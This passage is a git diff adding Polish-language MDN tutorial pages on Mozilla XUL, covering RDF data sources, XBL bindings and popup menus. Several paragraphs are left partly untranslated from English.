+<p>Możliwe jest także otwarcie plików XUL bezpośrednio z systemu plików lub ze zdalnej witryny internetowej. Wówczas jednak niektóre ich możliwości zostaną ograniczone, przez co niektóre elementy XUL nie będą działać. Jeśli mimo to będziesz chciał załadować zawartość XUL ze zdalnej strony internetowej, serwer WWW musi być odpowiednio skonfigurowany, tj. wysyłać pliki XUL z typem MIME <code>application/vnd.mozilla.xul+xml</code>. XUL jest zwykle przechowywany w plikach z rozszerzeniem <code>.xul</code>. Możesz otworzyć plik XUL w Mozilli tak samo, jak każdy inny plik, używając menu <code>Plik</code> i wybierając polecenie <code>Otwórz plik...</code> lub wpisując adres URL do paska adresu.</p>
+
+<h3 id="Co_powiniene.C5.9B_wiedzie.C4.87.2C_by_pos.C5.82ugiwa.C4.87_si.C4.99_tym_kursem" name="Co_powiniene.C5.9B_wiedzie.C4.87.2C_by_pos.C5.82ugiwa.C4.87_si.C4.99_tym_kursem">Co powinieneś wiedzieć, by posługiwać się tym kursem</h3>
+
+<p>Powinieneś dobrze znać język HTML (HyperText Markup Language) i orientować się w podstawach języków XML oraz CSS (Cascading Style Sheets). Oto kilka wskazówek, które należy wziąć pod uwagę:</p>
+
+<ul>
+ <li>Wszystkie elementy języka XUL i ich atrybuty muszą być zapisane małymi literami, ponieważ XML rozróżnia wielkość liter (w przeciwieństwie do języka HTML).</li>
+ <li>Wartości atrybutów w języku XUL muszą być podawane w cudzysłowach, nawet jeśli są liczbami.</li>
+ <li>Pliki XUL składają się zwykle z czterech plików: jednego definiującego wygląd i poszczególne elementy, drugiego dla deklaracji stylów, trzeciego dla deklaracji jednostek (przydatnego przy lokalizacjach) i czwartego dla skryptów.</li>
+</ul>
+
+<p>Można także dołączać dodatkowe pliki, jak np. obrazki lub dane wykorzystywane w zależności od platformy systemowej.</p>
+
+<p>XUL jest obsługiwany przez Mozillę i inne przeglądarki oparte na silniku Gecko, np. przez Netscape 6 (i nowsze) oraz Mozillę Firefox. Z powodu ciągłych zmian w składni języka XUL, niezbędna będzie jego najnowsza wersja, by przykłady z tego przewodnika działały poprawnie. Większość z podanych tutaj przykładów powinna działać w Mozilli 1.0 i nowszych. W Firefoksie i innych przeglądarkach XUL jest prawie identyczny, choć istnieje kilka dość specyficznych różnic, takich jak obsługa dostosowywanych pasków narzędzi.</p>
+
+<p>W kursie tym próbujemy zaprezentować większość możliwości języka XUL, nie wszystkie jednak mogły zostać w tym miejscu omówione. Gdy już zaznajomisz się z językiem XUL, zapraszamy do skorzystania z <a href="pl/Dokumentacja_XUL">dokumentacji XUL</a>, aby poznać pozostałe własności poszczególnych elementów.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Struktura_XUL">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie_do_rdf/index.html b/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie_do_rdf/index.html
new file mode 100644
index 0000000000..d3fe523f6d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie_do_rdf/index.html
@@ -0,0 +1,138 @@
+---
+title: Wprowadzenie do RDF
+slug: Mozilla/Tech/XUL/Kurs_XUL/Wprowadzenie_do_RDF
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - RDF
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XUL
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Obiekty_pudełkowe_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Szablony">Następny »</a></p>
+</div> W artykule tym, poznamy RDF (Resource Description Framework).<p></p>
+
+<h3 id="Resource_Description_Framework" name="Resource_Description_Framework">Resource Description Framework</h3>
+
+<p>Możemy użyć trzech elementów do wyświetlenia ustawień danych, także zakładek i wiadomości e-mail. Jednakże, był by to niewygodny sposób na wprowadzenie danych do pliku <a href="pl/XUL">XUL</a>. To było by trudne, aby zmodyfikować zakładki jeśli one by były bezpośrednio w pliku XUL. Rozwiązaniem jest użycie kodu źródłowego RDF.</p>
+
+<p><a href="pl/RDF">RDF</a> (Resource Description Framework) jest formatem, który potrafi być stosowany jako źródło do takich rzeczy jak wiadomość e-mail lub zakładki. Alternatywne dane w innych formatach możemy użyć i zapisać do pliku do odczytu, aby utworzyć dane RDF. Tak się dzieje podczas czytania danych przez pracującą Mozillę, służącą do odczytywania takich list ulubionych czy historii lub wiadomości e-mail. Mozilla dostarcza kod źródłowy dla tymczasowych danych więc będzie można prosto z nich korzystać.</p>
+
+<p>Możesz używać dostarczonego źródła RDF do promocji drzew z danymi lub wskazywać RDF na plik magazynowania w XML-u, który stanowi dane. Robiąc ...</p>
+
+<p>Możesz użyć jakiś dostarczony kod źródłowy do zwiększenia ilości drzew z danymi lub wskaż plik RDF będący magazynem w XML-u, który powstrzyma dane. Zrobi się to wtedy bardzo wygodne do przeglądania drzew z niemałą liczbą wierszy w niej. RDF potrafi także zapełniać inne elementy XUL równie dobrze tak jak listboxy i menu. Zobaczymy to w następnej sekcji.</p>
+
+<p>Jest tu dostarczony bardzo krótki ogólny przegląd plików RDF. Dla większych szczegółów jest przewodnik po RDF, przeczytaj <a class="external" href="http://www.xulplanet.com/tutorials/mozsdk/rdfstart.php">Instrukcja modelu RDF</a>, na XULPlanet. Jest to zalecane do czytania, jeśli dopiero zaczynasz z RDF. Zobacz niektóre przykłady plików RDF/XML, popatrz na te dostarczone przez Mozillę. Mają one rozszerzenie rdf.</p>
+
+<h4 id="RDF.2FXML" name="RDF.2FXML">RDF/XML</h4>
+
+<p>RDF stanowi model lub bazę danych, która jest reprezentowana w formie grafu. RDF/XML jest językiem XML-a, który może być użyty do reprezentacji danych RDF. Stanowi to dość proste ustawienie elementów. Przykład poniżej pokazuje szablon RDF.</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;RDF:RDF
+ xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
+ ...
+&lt;/RDF:RDF&gt;
+</pre>
+
+<p>Mają one podobieństwa do nagłówków XUL. Wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>, jest użyty element <code>RDF</code>. Widzimy przestrzeń nazw dla RDF, które było deklarowane więc tak elementy RDF organizują własności. Wewnątrz elementu RDF, wprowadź dane.</p>
+
+<h4 id="Baza_danych_RDF" name="Baza_danych_RDF">Baza danych RDF</h4>
+
+<p>Krótki opis RDF, zostanie tutaj dodany. Dla większości informacji o RDF, zobacz <a class="external" href="http://www.w3.org/RDF/">specyfikację RDF</a>. Uzyskajmy przykład generowania listy zakładek z RDF. Lista zakładek stanowi ustawienie rekordów, każdy z ustawieniem łączenia danych, takie jak URL-e, tytuł zakładki i data wizyty.</p>
+
+<p>Pomyśl o zakładkach jako o bazie danych, które są magazynowane jako duże tabele z ponumerowanymi plikami. W tym przypadku RDF, jednakże lista może być hierarchiczna jako dobar. To jest aktówka więc tak jak mamy w posiadaniu foldery kategorii pełne zakładek. Każdy z plików w bazie danych RDF jest źródłem, każdy z nazwą łączy się z nim. Nazwa jest opowiadane poprzez URI.</p>
+
+<p>Na przykład zaznaczamy pole zakładki Mozilli i lista URI jest opisana poniżej</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td>Name</td>
+ <td><span class="nowiki">http://home.netscape.com/NC-rdf#Name</span></td>
+ <td>Nazwa zakładki</td>
+ </tr>
+ <tr>
+ <td>URL</td>
+ <td><span class="nowiki">http://home.netscape.com/NC-rdf#URL</span></td>
+ <td>URL do zlinkowania</td>
+ </tr>
+ <tr>
+ <td>Description</td>
+ <td><span class="nowiki">http://home.netscape.com/NC-rdf#Description</span></td>
+ <td>Opis zakładki</td>
+ </tr>
+ <tr>
+ <td>Last Visited</td>
+ <td><span class="nowiki">http://home.netscape.com/WEB-rdf#LastVisitDate</span></td>
+ <td>Data ostatniej wizyty</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Te są generowane pobierając nazwę miejsca położenia i dołączenie nazwy pola. W następnym rozdziałem, zobaczymy w jaki sposób możemy automatycznie wykonać wypełnienie pola. Nota jest ostatnimi modyfikowanymi danymi posiadającymi nieznacznie inne pole nazwy, niż cała reszta.</p>
+
+<h4 id="RDF.2FXML_file_example" name="RDF.2FXML_file_example">RDF/XML file example</h4>
+
+<p>Poniżej znajduje się przykład pliku RDF/XML, ustawiono tablicę z trzema dowodami i trzema polami.</p>
+
+<pre>&lt;RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:ANIMALS="http://www.some-fictitious-zoo.com/rdf#"&gt;
+
+ &lt;RDF:Seq about="http://www.some-fictitious-zoo.com/all-animals"&gt;
+ &lt;RDF:li&gt;
+ &lt;RDF:Description about="http://www.some-fictitious-zoo.com/mammals/lion"&gt;
+ &lt;ANIMALS:name&gt;Lion&lt;/ANIMALS:name&gt;
+ &lt;ANIMALS:species&gt;Panthera leo&lt;/ANIMALS:species&gt;
+ &lt;ANIMALS:class&gt;Mammal&lt;/ANIMALS:class&gt;
+ &lt;/RDF:Description&gt;
+ &lt;/RDF:li&gt;
+ &lt;RDF:li&gt;
+ &lt;RDF:Description about="http://www.some-fictitious-zoo.com/arachnids/tarantula"&gt;
+ &lt;ANIMALS:name&gt;Tarantula&lt;/ANIMALS:name&gt;
+ &lt;ANIMALS:species&gt;Avicularia avicularia&lt;/ANIMALS:species&gt;
+ &lt;ANIMALS:class&gt;Arachnid&lt;/ANIMALS:class&gt;
+ &lt;/RDF:Description&gt;
+ &lt;/RDF:li&gt;
+ &lt;RDF:li&gt;
+ &lt;RDF:Description about="http://www.some-fictitious-zoo.com/mammals/hippopotamus"&gt;
+ &lt;ANIMALS:name&gt;Hippopotamus&lt;/ANIMALS:name&gt;
+ &lt;ANIMALS:species&gt;Hippopotamus amphibius&lt;/ANIMALS:species&gt;
+ &lt;ANIMALS:class&gt;Mammal&lt;/ANIMALS:class&gt;
+ &lt;/RDF:Description&gt;
+ &lt;/RDF:li&gt;
+ &lt;/RDF:Seq&gt;
+&lt;/RDF:RDF&gt;
+</pre>
+
+<p>Tutaj, trzy rekordy zostały opisane, jeden dla każdego zwierzęcia. Każdy tag <code>RDF:Description</code> opisuje pojedynczy rekord. Wewnątrz każdego rekordu, trzy pola są opisane, <code>name</code>, <code>species</code> i <code>class</code>. To nie jest konieczne dla wszystkich rekordów posiadających te same pola.</p>
+
+<p>Każde z trzech pól posiada przyporządkowaną nazwę <code>ANIMALS</code> URL, który jest zadeklarowany w tagu <code>RDF</code>. Nazwy zostały po selekcjonowane, ponieważ ma to znaczenie w tym przypadku, lecz my możemy poseleekcjonować coś innego. Cechą nazwy feature is useful because the <code>class</code> field might conflict with that used for styles.</p>
+
+<p>Elementy <code>Seq</code> i <code>li</code> są używane do specyficznych rekordów ,które są na liście. This is much like how HTML lists are declared. <code>Seq</code> element is used to indicate that the elements are ordered, or in sequence. Instead of the <code>Seq</code> element, you can also use <code><strong>Bag</strong></code> to indicate unordered data, i <code>Alt</code> to indicate data where each record specifies alternative values (such as mirror URLs).</p>
+
+<p>The resources can be referred to in a XUL file by combining the namespace URL followed by the field name. In the example above, the following URIs are generated which can be used to refer to the specific fields:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td>Name</td>
+ <td><span class="nowiki">http://www.some-fictitious-zoo.com/rdf#name</span></td>
+ </tr>
+ <tr>
+ <td>Species</td>
+ <td><span class="nowiki">http://www.some-fictitious-zoo.com/rdf#species</span></td>
+ </tr>
+ <tr>
+ <td>Class</td>
+ <td><span class="nowiki">http://www.some-fictitious-zoo.com/rdf#class</span></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Następnie zobaczymy jak stosować RDF do promocji elementów XUL.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Obiekty_pudełkowe_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Szablony">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie_do_xbl/index.html b/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie_do_xbl/index.html
new file mode 100644
index 0000000000..c0690c246d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/wprowadzenie_do_xbl/index.html
@@ -0,0 +1,100 @@
+---
+title: Wprowadzenie do XBL
+slug: Mozilla/Tech/XUL/Kurs_XUL/Wprowadzenie_do_XBL
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XBL
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Introduction_to_XBL
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Plik_własności" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Treść_anonimowa">Następny »</a></p>
+</div><p></p>
+
+<p>Język <a href="pl/XUL">XUL</a> posiada siostrzany język, <a href="pl/XBL">XBL</a> (eXtensible Bindings Language). Ten język jest stosowany do określania zachowań kontrolek XUL.</p>
+
+<h3 id="Wi.C4.85zania" name="Wi.C4.85zania">Wiązania</h3>
+
+<p>Języka XUL można używać do definiowania układu (wyglądu) interfejsu przeznaczonego dla użytkownika. Oprawę graficzną elementów można zmieniać za <a href="pl/Kurs_XUL/Dodawanie_arkuszy_styl%c3%b3w">pomocą stylów</a>. Możesz również <a href="pl/Kurs_XUL/Tworzenie_motyw%c3%b3w">tworzyć nowe motywy</a> poprzez zmianę stylów. Podstawowy wygląd wszystkich elementów, jak na przykład <a href="pl/Kurs_XUL/Paski_przewijania">pasek przewijania</a> i <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia#_Pola_wyboru_i_przyciski_opcji">pole wyboru</a> może być modyfikowane przez styl lub przez ustawienie atrybutów elementu.</p>
+
+<p>Niemniej jednak, XUL nie dostarcza możliwości, dzięki której mógłbyś zmienić sposób pracy wszystkich elementów. Na przykład, chcesz koniecznie zmienić działanie poszczególnych części funkcji scroll bar (paska przewijania). Do tego potrzebujesz języka <a href="pl/XBL">XBL</a>.</p>
+
+<p>XUL, XBL jest podobny do języka XML, więc ma podobną składnię. Następujący przykład pokazuje podstawowy szkielet pliku XBL:</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;bindings xmlns="http://www.mozilla.org/xbl"&gt;
+ &lt;binding id="binding1"&gt;
+ &lt;!-- Zawartość, właściwość, metoda i zdarzenia opisujące są tutaj --&gt;
+ &lt;/binding&gt;
+ &lt;binding id="binding2"&gt;
+ &lt;!-- Zawartość, właściwość, metoda i zdarzenia opisujące są tutaj --&gt;
+ &lt;/binding&gt;
+&lt;/bindings&gt;
+</pre>
+
+<p>The <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#bindings">bindings</a></code></code> element is the root element of an XBL file and contains one or more <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#binding">binding</a></code></code> elements. Each <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#binding">binding</a></code></code> element declares a single binding. The <code>id</code> attribute can be used to identify the binding, as in the example above. The template has two bindings, one called <code>binding1</code> and the other called <code>binding2</code>. One might be attached to a scroll bar and the other to a menu. A binding can be attached to any XUL element. If you use CSS classes, you can use as many different bindings as you need. Note the namespace on the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#bindings">bindings</a></code></code> element in the template above. This declares that we are using XBL syntax.</p>
+
+<p>You assign a binding to an element by setting the CSS property <code><a href="pl/CSS/-moz-binding">-moz-binding</a></code> to the URL of the bindings file. For example:</p>
+
+<pre>scrollbar {
+ -moz-binding: url('chrome://findfile/content/findfile.xml#binding1');
+}
+</pre>
+
+<p>The URL points to the binding with the id 'binding1' in the file '<a class="external" rel="freelink">chrome://findfile/content/findfile.xml</a>'. The '#binding1' syntax is used to point to a specific binding, much like how you would point to an anchor in an HTML file. You will usually put all of your bindings in a single file. The result in this example, is that all scrollbar elements will have their behavior described by the binding 'binding1'.</p>
+
+<p>Wiązanie posiada pięć typów, które możemy zadeklarować:</p>
+
+<ol>
+ <li>Content: child elements that are added to the element that the binding is bound to.</li>
+ <li>Properties: properties added to the element. They can be accessed through a script.</li>
+ <li>Methods: methods added to the element. They can be called from a script.</li>
+ <li>Events: events, such as mouse clicks and keypresses that the element will respond to. The binding can add scripts to provide default handling. In addition new events can be defined.</li>
+ <li>Style: custom style properties that the XBL defined element has.</li>
+</ol>
+
+<h3 id="Przyk.C5.82ad_wi.C4.85zania" name="Przyk.C5.82ad_wi.C4.85zania">Przykład wiązania</h3>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> jest generowany wystarczająco tak jak możesz użyć do utworzenia elementu graficznego (poprzez to możesz użyć jakikolwiek element, nawet jeden zrobiony dla siebie). Przydzielając do <code>class</code> tagu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>, możesz łączyć oprawy tylko do tych do których należą te klasy. Następujący przykład demonstruje to.</p>
+
+<pre class="eval"><strong>XUL (example.xul):</strong>
+
+&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://example/skin/example.css</a>" type="text/css"?&gt;
+
+&lt;window
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+ &lt;box class="okcancelbuttons"/&gt;
+&lt;/window&gt;
+
+<strong>CSS (example.css):</strong>
+
+box.okcancelbuttons {
+ -moz-binding: url('<a class="external" rel="freelink">chrome://example/skin/example.xml#okcancel'</a>);
+}
+
+<strong>XBL (example.xml):</strong>
+
+&lt;?xml version="1.0"?&gt;
+&lt;bindings xmlns="<span class="nowiki">http://www.mozilla.org/xbl</span>"
+ xmlns:xul="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+ &lt;binding id="okcancel"&gt;
+ &lt;content&gt;
+ &lt;xul:button label="OK"/&gt;
+ &lt;xul:button label="Cancel"/&gt;
+ &lt;/content&gt;
+ &lt;/binding&gt;
+&lt;/bindings&gt;
+</pre>
+
+<p>Ten przykład tworzy okno z pojedynczym pudełkiem. Pudełko zostało zadeklarowane dla <code>class</code> z <code>okcancelbuttons</code>. Arkusz stylów łączy nazwę pliku, którego pola z klasą <code>okcancelbuttons</code> ma specjalne łączenie, definiując w pliku XBL. Możesz użyć inne elementy w dodatku <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>, będący Twoim własnym znacznikiem:</p>
+
+<p>We'll look more at the details of the XBL part in the next section. However, to summarize, it causes two buttons to be added automatically inside the box, one an OK button and the other a Cancel button. W następnym artykule, zobaczymy jak utworzyć <a href="pl/Kurs_XUL/Tre%c5%9b%c4%87_anonimowa">treść korzystając się z XBL</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Plik_własności" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Treść_anonimowa">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/wyskakujące_menu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/wyskakujące_menu/index.html
new file mode 100644
index 0000000000..e5ccc54615
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/wyskakujące_menu/index.html
@@ -0,0 +1,196 @@
+---
+title: Wyskakujące menu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Wyskakujące_menu
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Popup_Menus
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_menu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Przewijane_menu">Następny »</a></p>
+</div><p></p>
+
+<p>W poprzednim artykule zobaczyliśmy jak utworzyć menu na pasku menu. Język <a href="pl/XUL">XUL</a> także posiada możliwości utworzenia wyskakujących menu (<em>popup menus</em> ), które są zazwyczaj wyświetlane w momencie kiedy użytkownik naciśnie prawy przycisk myszy.</p>
+
+<h3 id="Tworzenie_wyskakuj.C4.85cego_menu" name="Tworzenie_wyskakuj.C4.85cego_menu">Tworzenie wyskakującego menu</h3>
+
+<p><a href="pl/XUL">XUL</a> posiada trzy różne rodzaje wyskakujących okienek (popups), które zostały opisane poniżej. Główną różnicą pomiędzy nimi jest sposób ich wyświetlania:</p>
+
+<dl>
+ <dt>Zwykły popup (<em>plain popup</em> ) </dt>
+ <dd>Wyskakujące menu pojawiające się po naciśnięciu lewego przycisku myszy na elemencie. Jest podobne do menu na pasku menu, tyle tylko że może zostać umieszczone w dowolnym miejscu oraz zawierać dowolne elementy. Przykładem jest menu pojawiające po naciśnięciu przycisku Wstecz w przeglądarce.</dd>
+</dl>
+
+<dl>
+ <dt>Menu kontekstowe (<em>context popup</em> ) </dt>
+ <dd>Pojawia się po naciśnięciu kontekstowego przycisku myszy. Najczęściej jest to prawy przycisk, czasami inny lub z kombinacją innych klawiszy. Na przykład na Macintoshu należy użyć klawisza Ctrl oraz przycisku myszy lub przytrzymać przycisk przez chwilę. Możliwe jest także otworzenie menu kontekstowego bez użycia myszy, na przykład poprzez naciśnięcie klawisza menu na klawiaturze.</dd>
+</dl>
+
+<dl>
+ <dt>Podpowiedzi (<em>tooltips</em> ) </dt>
+ <dd>Wyskakujące okienko pojawiające się kiedy użytkownik najedzie myszką na element. Stosuje się je zazwyczaj w celu dostarczenia dodatkowych informacji o danym elemencie.</dd>
+</dl>
+
+<p>Wszystkie one różnią się sposobem wywołania. Mimo że mogą zawierać dowolną zawartość, dwa pierwsze zazwyczaj mają w sobie menu, a trzeci to najczęściej po prostu tekst. Rodzaj popupa określa się poprzez element go wywołujący.</p>
+
+<h4 id="Deklarowanie_zawarto.C5.9Bci_wyskakuj.C4.85cego_okienka" name="Deklarowanie_zawarto.C5.9Bci_wyskakuj.C4.85cego_okienka">Deklarowanie zawartości wyskakującego okienka</h4>
+
+<p>Wyskakujące okienko opisuje zastosowanie elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>. Nie posiada określonych atrybutów i jest typem pudełka. Podczas wywołania wyświetli okienko zawierające to co umieścimy we wnętrzu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>. Jednakże, powinniśmy zawsze umieszczać atrybut <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> w menupopup jako powiązanie z elementem wyskakującego okienka (popup). Zobaczmy, co to oznacza wkrótce. Najpierw, przykład:</p>
+
+<pre>&lt;popupset&gt;
+ &lt;menupopup id="clipmenu"&gt;
+ &lt;menuitem label="Wytnij"/&gt;
+ &lt;menuitem label="Kopiuj"/&gt;
+ &lt;menuitem label="Wklej"/&gt;
+ &lt;/menupopup&gt;
+&lt;/popupset&gt;
+</pre>
+
+<p>Jak widać, zostało stworzone proste menu wyskakujące z trzema komendami. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> otacza trzy pozycje menu. Należy zwrócić uwagę, że <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> został ustawiony na element <code>menupopup</code>.</p>
+
+<p>Deklaracja menu wyskakującego okienka została cała otoczona przez element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code></code>. Jest to opcjonalnym kontenerem na wyskakujących okienek. Nie jest on rysowany na ekranie, lecz jest używany jako miejsce deklaracji wszystkich wyskakujących okienek. Może on zawierać wiele menu wyskakujących, jeden pod drugim. Zazwyczaj w pliku <code><code><a href="/pl/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code></code> jest zadeklarowany tylko raz, chociaż nic nie stoi na przeszkodzie aby zrobić to wiele razy.</p>
+
+<p><span class="comment">As the name &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code>&lt;/code&gt; implies, you can put multiple popup declarations inside it. Just add additional ones after the first &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>&lt;/code&gt; element. You can have more than one &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/popupset" title="popupset">popupset</a></code>&lt;/code&gt; in a file, but usually you will have only one.</span></p>
+
+<h4 id="Powi.C4.85zanie_wyskakuj.C4.85cego_okienka_z_elementem" name="Powi.C4.85zanie_wyskakuj.C4.85cego_okienka_z_elementem">Powiązanie wyskakującego okienka z elementem</h4>
+
+<p>Teraz po utworzeniu wyskakującego okna należałoby je pokazać. W tym celu musimy powiązać wyskakujące okno z elementem, gdzie powinno się ukazać. Dokonujemy tego w celu pokazania okna tylko wtedy, gdy użytkownik kliknie w danym obszarze okna. Przeważnie będzie to dany przycisk lub pudełko.</p>
+
+<p>Popup po utworzeniu może zostać wyświetlony. Aby pojawił się w określonym położeniu, należy go połączyć z odpowiednim elementem (najczęściej z przyciskiem lub pudełkiem elementu ). W tym celu należy do danego elementu dodać jeden z trzech atrybutów, każdy odpowiadający odpowiedniemu rodzajowi popupa. Są to: <code><code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code></code> - zwykły popup <code><code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code></code> - kontekstowy <code><code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code></code> - podpowiedź</p>
+
+<p>Wartość atrybutu musi być ustawiona na <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> <code>menupopup</code>, które chcemy, aby się pojawiło. Dlatego właśnie każde z wyskakujących okienek musi posiadać <code>id</code>. W ten bardzo prosty sposób, możemy mieć wiele wyskakujących menu w jednym pliku.</p>
+
+<p>W powyższym przykładzie zostaje utworzone menu kontekstowe. Następnie jest ono dołączone do pudełka elementu.</p>
+
+<p><span class="comment">In the example above, we want to make the popup a context menu. That means that we need to use the &lt;code&gt;<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>&lt;/code&gt; attribute and add it to the element which we want to have the popup associated with. The sample below shows how we might do this:</span></p>
+
+<p><br>
+ <span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_popups_1.xul">Podgląd</a></p>
+
+<div class="float-right"><img alt="grafika:popups-ex1.png"></div>
+
+<pre>&lt;popupset&gt;
+ &lt;popup id="clipmenu"&gt;
+ &lt;menuitem label="Wytnij"/&gt;
+ &lt;menuitem label="Kopiuj"/&gt;
+ &lt;menuitem label="Wklej"/&gt;
+ &lt;/popup&gt;
+&lt;/popupset&gt;
+
+&lt;box context="clipmenu"&gt;
+ &lt;description value="Kliknięcie kontekstowe dla menu"/&gt;
+&lt;/box&gt;
+</pre>
+
+<p>Jak widać, menu kontekstowe zostało powiązane z pudełkiem. Jeśli zostanie on kliknięty kontekstowym przyciskiem myszy (najczęściej prawym), pojawi się popup. Stanie się tak również po kliknięciu w jego dziecko (element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> w naszym przykładzie). Dzięki temu, że menu dołącza się za pomocą atrybutu <code><code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code></code> do danego elementu poprzez jego<em>id</em> , może być on użyty z wieloma obiektami. W tym wypadku pojawi się popup <code>clipmenu</code>.</p>
+
+<p><span class="comment">Here, the popup has been associated with a box. Whenever you context-click (right-click) anywhere inside the box, the popup menu will appear. The popup will also appear even if you click on the children of the box, so it will work if you click on the &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code>&lt;/code&gt; element also. The &lt;code&gt;<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>&lt;/code&gt; attribute has been used to associate the box with a popup with the same id. In this case, the popup &lt;code&gt;clipmenu&lt;/code&gt; will appear. This way, you can have a number of popups and associate them with different elements. You could associate multiple popups with the same element by putting more attributes of different types on an element. You could also associate the same popup with multiple elements, which is one advantage of using the popup syntax. Popups can only be associated with XUL elements; they cannot be associated with HTML elements.</span></p>
+
+<h3 id="Podpowiedzi" name="Podpowiedzi">Podpowiedzi</h3>
+
+<p>Dowiemy się w jaki sposób prosto stworzyć podpowiedź. Są dwa sposoby na utworzenie podpowiedzi. Prostsza i zarazem pierwsza możliwość to dodanie atrybutu <code><code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code></code> do elementu, do którego chcemy załączyć podpowiedź.</p>
+
